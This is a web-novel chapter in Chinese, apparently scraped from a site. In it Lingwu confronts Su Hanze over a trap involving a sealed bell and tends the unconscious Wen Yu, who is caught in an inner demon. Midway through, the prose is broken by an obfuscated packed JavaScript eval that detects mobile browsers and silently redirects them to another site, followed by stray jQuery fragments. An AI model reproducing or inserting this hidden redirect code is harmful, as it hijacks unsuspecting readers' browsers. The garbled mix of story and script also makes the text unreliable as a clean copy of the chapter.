98. 请君入瓮(一)

作品:《两心同

    烈焰焚身的灼痛感仿似还未完全消散,眼前已然换了光景。


    还是小楼二层靠里的那间屋子,这是属于苏清岚的房间,没成想原来竟也是她那短暂一生的终点。只是与当年最后的记忆不同之处在于,眼前的屋子里漆黑一片。


    她出来了。可是,闻昱呢?


    凌芜站在漆黑的房间中央,有细微的呼吸声自黑暗中传来,离得不远,但有些急促,听上去这人好像有些痛苦。她心中一惊,指尖弹出一星炽焰,桌上已然灭掉许久的烛灯重新亮了起来,眼前的黑暗霎时被驱散了不少。


    闻昱正闭着眼歪在离她四五步外的地上,眉心紧蹙,面色看上去不大好。


    凌芜疾步过去将人扶进怀里,抬手探了一下对方的脉息。没有受伤,也不像是中了什么咒术,只是人没清醒。


    “不要...阿芜...”闻昱眉头紧皱的喃声念叨着:“为什么...”这会儿离得近了,凌芜才听清他嘴里断断续续说的话。


    什么为什么?


    凌芜一时有些没弄明白,可也不能这么让人一直坐地上,她小心地搀着闻昱起身,将人安置在房里的软榻上。


    过程中,闻昱一直没醒,始终神色痛苦地反复念叨着那几句话。


    “闻昱,”凌芜坐在他旁边,俯着身子轻声唤他:“你醒醒,闻昱......”


    “阿芜...不要,求......”榻上的人依旧没醒,只是哀声低语着。


    哀切的声色让凌芜一怔,她从未见过这般模样的闻昱。闻昱面相生得冷俊,不笑的时候会有距离感,实则这人的性子温润和善。自打凌芜与他相识,一路经历了这许多奇闻怪事,闻昱向来都是沉稳自持的。还从未有过,这样惊惶痛苦的样子......


    “闻昱...闻昱”凌芜抬指拭去他额上的细汗,人却怎么也唤不醒。


    倏地,凌芜面色一沉,直起身拂袖挥向紧闭的房门,门扇大开的瞬间听得外面一声痛哼。


    “哎呦——”


    凌芜神色未变转向门口,冷喝一声:“滚进来。”


    “神君...息怒。”苏寒泽揉着胸口迈过门槛,尴尬的往前蹭了几步就停住了。


    “苏大族长,好胆识。”凌芜眉眼一横,起身冷笑道:“算计我?”


    “神君说笑了......”苏寒泽连连摆手:“只不过是想借神君之手解了族中圣物上的禁制,非是要算计您......”


    凌芜斜睨了他一眼:“那为何要行迹鬼祟地偷袭,光明正大与我言明不行?”


    苏寒泽苦笑一声,低眉垂眸道:“如若我直言,又该如何向神君解释这其中的纠葛呢......圣物上的禁制乃是阿姐当年为救炎凛造成,而炎凛本该是由神君留给巫族的神火所灭......”


    “呵,我看不止这些吧。”凌芜冷嗤:“那卷梵月集究竟是何来历,能让苏烬费心设计这么一出,还赔上了玄月族的少族长,他自己的亲女儿。”


    “让我想想那只老狐狸是怎么说来着,”凌芜负手走近,“哦,若是当年之事让我知晓,倒霉的就该是你们了......”


    苏寒泽闻言抬头,面色紧张地探问:“神君你,我......”


    “不愿说?”


    “并非寒泽不愿告知,”苏寒泽颓然道:“阿姐骤然离世,父亲一夜白头,有关那古卷的事,他也未曾与我言明。只说,若是有朝一日神君怪罪下来,一切罪责都在他......”


    凌芜蹙眉啧了一声,苏寒泽立时硬着头皮道:“阿姐已然为此丢了性命,父亲也郁郁而终,还望神君宽宥......”


    “怎么,苏大族长是怕我迁怒你们这些一问三不知的族人,还是担心我要挖坟掘墓、翻尸倒骨惩处罪首啊。”凌芜白了他一眼,“放心吧,我还没有你们想的那么丧心病狂。”


    “不过,”凌芜话音一转,“闻昱因你之故与我一同被相思铃所影响,如今虽则出来了,但一直未能清醒过来。”


    苏寒泽偏头望向里面的软榻,只看见榻上平直地躺着个人,难怪一直没见到闻昱。他迟疑道:“闻大人他怎么了?”


    凌芜柳眉微挑:“问我?”


    苏寒泽一噎,赶忙解释:“当年阿姐耗尽修为灵力启用相思铃,又因着逆命符替炎凛受了神火焚身之刑。相思铃中她残留的灵力筑就了一处秘境,名为相思境。这相思境源于阿姐的情思与记忆,并不会伤人。”


    “只是相思铃当年受了神火冲击,自那日起一直封禁。所以我才......”


    凌芜冷声接道:“所以你一看我自己送上门了,便大着胆子设计让我替你解了。”


    “神君既能寻到镜霜湖,我便知当年之事瞒不住了。”苏寒泽桃花眼轻颤,尴尬的扯了下嘴角:“只是事发之时我尚且年幼不知事,此间种种皆是听旁人所言,自不若神君亲历一番——”


    凌芜打断他的解释,奇道:“既不会伤人,为何闻昱迟迟不醒?”


    “您方才说,闻大人也入了相思境?”苏寒泽边说挪步往榻边走。


    凌芜点头,跟在他身侧一同去看榻上的闻昱:“相思境里,他是炎凛。”


    苏寒泽细细打量着闻昱的神色,听他不住地低喃着,片刻后转向凌芜,有些迟疑道:“闻大人并非受伤,反而......像是入了心魔。”


    ————————————————————————


    “心魔?”凌芜目光落在榻上之人紧蹙的眉心,轻声道。


    苏寒泽心中也有些纳闷,素来听闻云栖宫的司命神官清静淡泊,而如今这位闻大人更甚。闻昱尚在襁褓之时便入了云栖宫,自然谈不上什么父母亲缘,一手将他带大的师傅,也就是上任司命神官——梁观山,也是寿终正寝,闻昱便是自他手中接任。


    苏寒泽有些想不通,这样一个人心底竟也会有未曾表露的欲求或者恐惧么......思及此,他略弯了下身子,凑近些想要听清闻昱的低语。


    “阿芜......”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890237|167462||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “阿芜?”苏寒泽下意识跟着重复了一声,一偏头恰好对上凌芜冷若秋水的凤眸,上下嘴皮一碰秃噜出一句:“神君,我观闻大人的心魔,仿似与您有关......”


    神君大人不语,眼神示意他继续说。


    “闻大人一直在叫您的名字。神君可知他心底有何求,亦或是忧心恐惧之事?”


    闻昱心中所求?凌芜心念急转,也只记得除夕灯会那夜,这人借着生辰祈愿与她说的。但这愿望,她当时便应下了。


    可若问,闻昱心中忧惧,还是与自己相关的,凌芜有些想不出来。


    苏寒泽见她拧眉不语,又试探地问:“闻大人与神君一道入了相思境,当是与您共历其间种种。神君不妨回想回想,这里面可有什么场景与你们二人过往相似之处?”


    苏炎二人的往事,凌芜细细思忖着相思境里的桩桩件件,只觉也没什么相关之处,而且在里面的时候闻昱也没什么不对劲啊......


    门外不知什么时候起了风,桌上的烛火颤巍巍地晃了两下。


    不对,还是有相似的地方的。


    凌芜半掀眼帘看向桌上的灯烛,想起了那场将苏清岚化作飞烟的烈火,也记起了尧山之巅映红了夜空的魂火。


    自她回来,闻昱从未与她提及当年之事。凌芜恍然觉得,彼时她虽未来得及同闻昱告别,但闻昱可能是见过她的。


    是了,忘记云栖宫还有千梦在了。


    “神君......?”苏寒泽见她盯着烛火一直不说话,屋子里安静的有几分尴尬。


    凌芜有些烦闷:“做甚?”


    “......”苏寒泽摸摸鼻子提议:“闻大人眼下不宜挪动,不若二位暂留小楼休养,待闻大人醒了再论其他?”


    这话说的小心体贴,一改初见时的故作深沉,装模作样。可凌芜一想到若不是这厮设计,闻昱也不会坠入相思境,眼下也不该是这般模样,再见他傻愣愣杵在屋子里便觉愈发气闷。


    凌芜不耐地点点头:“回你的狐狸洞去吧。”


    得了她的回应,苏寒泽自觉脚底抹油往外去,刚迈出门口又停下添了句“神君,闻大人的心魔若真如猜测那般与您有关,或许您可以助他脱困。”


    “怎么帮?”


    “......”苏寒泽语塞眨眼。


    说了等于白说。凌芜横了他一眼,心烦摆手道:“赶紧走。”


    苏寒泽忙不迭掩上门溜了。


    凌芜倚在榻边,苏寒泽方才的话虽有几分道理,但她一时也摸不着头绪,有些无从下手。


    榻上的人不时地唤着她的名字,额上的汗细细密密的,凌芜守在一旁,头一次觉出了几分无措。


    “阿芜......”


    “闻昱,我在。”凌芜握住闻昱的手,慢慢指缝交错,是个十分轻柔温情的十指紧扣。


    “为什么...为什么我总是留不住你?”闻昱双目紧闭,低声问着,也不知这话是在问他自己,还是在问凌芜。